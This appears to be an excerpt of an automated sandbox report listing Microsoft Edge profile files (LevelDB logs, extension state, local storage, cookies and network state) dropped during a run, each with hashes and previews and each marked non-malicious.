Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153754083409993
Encrypted:	false
SSDEEP:	6:HApL/65U3+q2PN723oH+Tcwt8aPrqIFUt8YApL/6VZmw+YApL/65VkwON723oH+o:gB/6COvVaYebL3FUt87B/6V/+7B/6H54
MD5:	E5224D17B6ED8C4C5F93B6FD7E36C951
SHA1:	1FE6532BAB112C2EA78BB98A5386CA440BA3194A
SHA-256:	761591E15DC9B68891B133316DED9234F7F28C7C19F8360B049D5AF36C0DA2D0
SHA-512:	4D7A135814F652F041A6F63A8ECDDBFE4E8D239BA75113AA8354105AF576EA8A3AF37565B73AA22CA53840688F9C07F4B6B3F1338354688604030A1D6175A97A
Malicious:	false
Preview:	2024/11/25-19:41:29.580 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-19:41:29.581 1ed8 Recovering log #3.2024/11/25-19:41:29.581 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153754083409993
Encrypted:	false
SSDEEP:	6:HApL/65U3+q2PN723oH+Tcwt8aPrqIFUt8YApL/6VZmw+YApL/65VkwON723oH+o:gB/6COvVaYebL3FUt87B/6V/+7B/6H54
MD5:	E5224D17B6ED8C4C5F93B6FD7E36C951
SHA1:	1FE6532BAB112C2EA78BB98A5386CA440BA3194A
SHA-256:	761591E15DC9B68891B133316DED9234F7F28C7C19F8360B049D5AF36C0DA2D0
SHA-512:	4D7A135814F652F041A6F63A8ECDDBFE4E8D239BA75113AA8354105AF576EA8A3AF37565B73AA22CA53840688F9C07F4B6B3F1338354688604030A1D6175A97A
Malicious:	false
Preview:	2024/11/25-19:41:29.580 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-19:41:29.581 1ed8 Recovering log #3.2024/11/25-19:41:29.581 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1804690307362105
Encrypted:	false
SSDEEP:	6:HApL/6Nt+q2PN723oH+Tcwt865IFUt8YApL/6aZZmw+YApL/6aNVkwON723oH+TT:gB/6NovVaYeb/WFUt87B/6O/+7B/6i5/
MD5:	27ECBEBE980A6D52550718710EBF62A7
SHA1:	B8217EEA1FD4E7329197F82FC0FD476A5E4A4C66
SHA-256:	70BC1E8EADCD6E93E32647921AC469DCB748548C29ABD20FE519206DD7B9F7E2
SHA-512:	CDB4A3D53D1B6BF11AA1B3D7464C40036FFD39301A698572BD4CE2685E7E0CBEBF5E9C1A46C7F55A3B5094E84C9DC50D3FEB98E26D60B0A191E83FE5B8A0B595
Malicious:	false
Preview:	2024/11/25-19:41:29.583 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-19:41:29.584 1ed8 Recovering log #3.2024/11/25-19:41:29.584 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1804690307362105
Encrypted:	false
SSDEEP:	6:HApL/6Nt+q2PN723oH+Tcwt865IFUt8YApL/6aZZmw+YApL/6aNVkwON723oH+TT:gB/6NovVaYeb/WFUt87B/6O/+7B/6i5/
MD5:	27ECBEBE980A6D52550718710EBF62A7
SHA1:	B8217EEA1FD4E7329197F82FC0FD476A5E4A4C66
SHA-256:	70BC1E8EADCD6E93E32647921AC469DCB748548C29ABD20FE519206DD7B9F7E2
SHA-512:	CDB4A3D53D1B6BF11AA1B3D7464C40036FFD39301A698572BD4CE2685E7E0CBEBF5E9C1A46C7F55A3B5094E84C9DC50D3FEB98E26D60B0A191E83FE5B8A0B595
Malicious:	false
Preview:	2024/11/25-19:41:29.583 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-19:41:29.584 1ed8 Recovering log #3.2024/11/25-19:41:29.584 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161783927472653
Encrypted:	false
SSDEEP:	6:HApLx4q2PN723oH+Tcwt8NIFUt8YApLmNJZmw+YApLmNDkwON723oH+Tcwt8+eLJ:gBx4vVaYebpFUt87BmNJ/+7BmND5OaYN
MD5:	A9E1DCA16CFA2E5F53A419C9B7FDCA51
SHA1:	878F1A11900FA3C14F3D9C36066F83DDFCA64257
SHA-256:	5D999C71C0E8B8F11FD30BD85442182E166B3FA64B9F682619F2C85880E6F31C
SHA-512:	15276994C27DB50016BA25B69AC42497C1905DA9E2944307DF3AF22ED97FC4DFA0605C07D393E840DDA8F8105B7877B98FFF24F9BFFBDBFD0443D856FCF1FC46
Malicious:	false
Preview:	2024/11/25-19:41:30.707 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-19:41:30.708 1f24 Recovering log #3.2024/11/25-19:41:30.708 1f24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161783927472653
Encrypted:	false
SSDEEP:	6:HApLx4q2PN723oH+Tcwt8NIFUt8YApLmNJZmw+YApLmNDkwON723oH+Tcwt8+eLJ:gBx4vVaYebpFUt87BmNJ/+7BmND5OaYN
MD5:	A9E1DCA16CFA2E5F53A419C9B7FDCA51
SHA1:	878F1A11900FA3C14F3D9C36066F83DDFCA64257
SHA-256:	5D999C71C0E8B8F11FD30BD85442182E166B3FA64B9F682619F2C85880E6F31C
SHA-512:	15276994C27DB50016BA25B69AC42497C1905DA9E2944307DF3AF22ED97FC4DFA0605C07D393E840DDA8F8105B7877B98FFF24F9BFFBDBFD0443D856FCF1FC46
Malicious:	false
Preview:	2024/11/25-19:41:30.707 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-19:41:30.708 1f24 Recovering log #3.2024/11/25-19:41:30.708 1f24 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:OtFlljq7A/mhWJFuQ3yy7IOWUa7QdweytllrE9SFcTp4AGbNCV9RUIX5:l75fOkQd0Xi99pEYR5
MD5:	684C0E3F11BAE4DC3E180A561250D0BB
SHA1:	5925EE8C7E877C609A05B829FB45535042AC132F
SHA-256:	8729E35B85E15AAAAEA107E18862817FB111D458CD77DC9924248559829F08E0
SHA-512:	CDE566190F9156C1CE5773670326F2018ED6C3FCDE65FCD16ABBB5DB2317A8C9C57140D1B89A01DF448D95DDE78D2925D2F5A380BE72CBC371D554C6B5DF3B2E
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.275363521741498
Encrypted:	false
SSDEEP:	12:gB00VvVaYeb8rcHEZrELFUt87BJ0g/+7BJ0I5OaYeb8rcHEZrEZSJ:WVaYeb8nZrExg8r0BOaYeb8nZrEZe
MD5:	95C658FBE4D983A8C5E490C1610AD942
SHA1:	2A85C2A14412959A1650B06D84EADAE0CFF66263
SHA-256:	EF2B35E62F770C762403EAE52470C2D23A1724F8CB88CB79E652833BB1E4FDEF
SHA-512:	FCCEA8603FA8E2FF34770E1E4F744C40714489133F05F4C44B6DDF0F0D00B70A87CC49752B9B80CB42334525A7BCEC7F405284219A9EC6F25C7DABF5ED02B0EA
Malicious:	false
Preview:	2024/11/25-19:41:34.898 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-19:41:34.899 1f04 Recovering log #3.2024/11/25-19:41:34.899 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.275363521741498
Encrypted:	false
SSDEEP:	12:gB00VvVaYeb8rcHEZrELFUt87BJ0g/+7BJ0I5OaYeb8rcHEZrEZSJ:WVaYeb8nZrExg8r0BOaYeb8nZrEZe
MD5:	95C658FBE4D983A8C5E490C1610AD942
SHA1:	2A85C2A14412959A1650B06D84EADAE0CFF66263
SHA-256:	EF2B35E62F770C762403EAE52470C2D23A1724F8CB88CB79E652833BB1E4FDEF
SHA-512:	FCCEA8603FA8E2FF34770E1E4F744C40714489133F05F4C44B6DDF0F0D00B70A87CC49752B9B80CB42334525A7BCEC7F405284219A9EC6F25C7DABF5ED02B0EA
Malicious:	false
Preview:	2024/11/25-19:41:34.898 1f04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-19:41:34.899 1f04 Recovering log #3.2024/11/25-19:41:34.899 1f04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.675330580080324
Encrypted:	false
SSDEEP:	24:sSyZWD1X05yUUKHU5Q9XZeLW2sFV0374/h/MyavWsUlHsl4EBkTN5zgFHHmi28/V:sSyZq0B9XZ12iV0374/hkymFTk+HH32M
MD5:	FC9AAB1E0401391FFEEDC8267E8C1D54
SHA1:	B9FC302DAF023FA31A0BC3085FE0FE5E524F29C0
SHA-256:	CD04D84589464045BD95BD1FADC5AD188E27DA9FF773825B9AB015B9859CAAB5
SHA-512:	19D42ABD22CD1673144DED4CFC62CED8D5AB766BDDD6EB056414599335A496A555DABE43E20F66A2F53061E523EFC1A07C32B2A78D0376D03CF42DA9C01FEB36
Malicious:	false
Preview:	u....................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732581706430.._https://ntp.msn.com..MUID!.3553E294F9366CAE0604F7D7F89E6D7D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732581706543,"schedule":[-1,9,-1,10,-1,12,-1],"scheduleFixed":[-1,9,-1,10,-1,12,-1],"simpleSchedule":[52,14,24,51,33,45,50]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732581706383.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 25 2024 19:41:45 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest...L$................META:https://ntp.msn.com..............._https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.174520927697633
Encrypted:	false
SSDEEP:	6:HApLvkRFlyq2PN723oH+Tcwt8a2jMGIFUt8YApLl91Zmw+YApLvRkwON723oH+Tg:gBvYOvVaYeb8EFUt87BP1/+7Bp5OaYek
MD5:	00AC21DB51D10B88D71FC48BEDFF865C
SHA1:	CDC5B65690B7C192370582303D21266AD59DFB90
SHA-256:	9942490CE2B0D142A9EB2B13729AFFFBD2DB464A65C083E0F0C0B9B0DD323A24
SHA-512:	A3A4E481DDE95B92EB04C452910E754DC978350E6EA32CA8731B1D13C421B0B691FD3111D3907524F14F365A19298D5E407DCA736B9D3E7D5162CABFD019FC07
Malicious:	false
Preview:	2024/11/25-19:41:30.779 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-19:41:30.783 1e94 Recovering log #3.2024/11/25-19:41:30.785 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.174520927697633
Encrypted:	false
SSDEEP:	6:HApLvkRFlyq2PN723oH+Tcwt8a2jMGIFUt8YApLl91Zmw+YApLvRkwON723oH+Tg:gBvYOvVaYeb8EFUt87BP1/+7Bp5OaYek
MD5:	00AC21DB51D10B88D71FC48BEDFF865C
SHA1:	CDC5B65690B7C192370582303D21266AD59DFB90
SHA-256:	9942490CE2B0D142A9EB2B13729AFFFBD2DB464A65C083E0F0C0B9B0DD323A24
SHA-512:	A3A4E481DDE95B92EB04C452910E754DC978350E6EA32CA8731B1D13C421B0B691FD3111D3907524F14F365A19298D5E407DCA736B9D3E7D5162CABFD019FC07
Malicious:	false
Preview:	2024/11/25-19:41:30.779 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/25-19:41:30.783 1e94 Recovering log #3.2024/11/25-19:41:30.785 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1f3b6390-9ee7-4f35-abb8-ec52d32e133c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6cabc58f-f8f4-467a-a030-3e172255fc27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\799c5d0b-e5bf-413c-95b0-60f9aa24d0db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\994ce47e-5b82-444d-adf5-75cc29e21265.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7686799509590765
Encrypted:	false
SSDEEP:	192:tT9UaJarGcZaHQlhoUAkA23WXcf0L/ZJVb:V9Uec0HQlK7ymXI0LhJVb
MD5:	4F7DBA8D267500474DE994C4B4C63A05
SHA1:	2FD727FDD7F8925374214A28784B030155248FA9
SHA-256:	78BC1F831B16D142D3C7B8B8A705521F6A539058B16C826CAE9EF132D92B45B9
SHA-512:	BECF2C9C1F5970FA297FFBBE5E6C6626D069053F5F9770E07348E8F3CE366DA826790B745273E59D9BB305C740F587153CC0C45F7A8F1275EC8295B7699BB8C0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
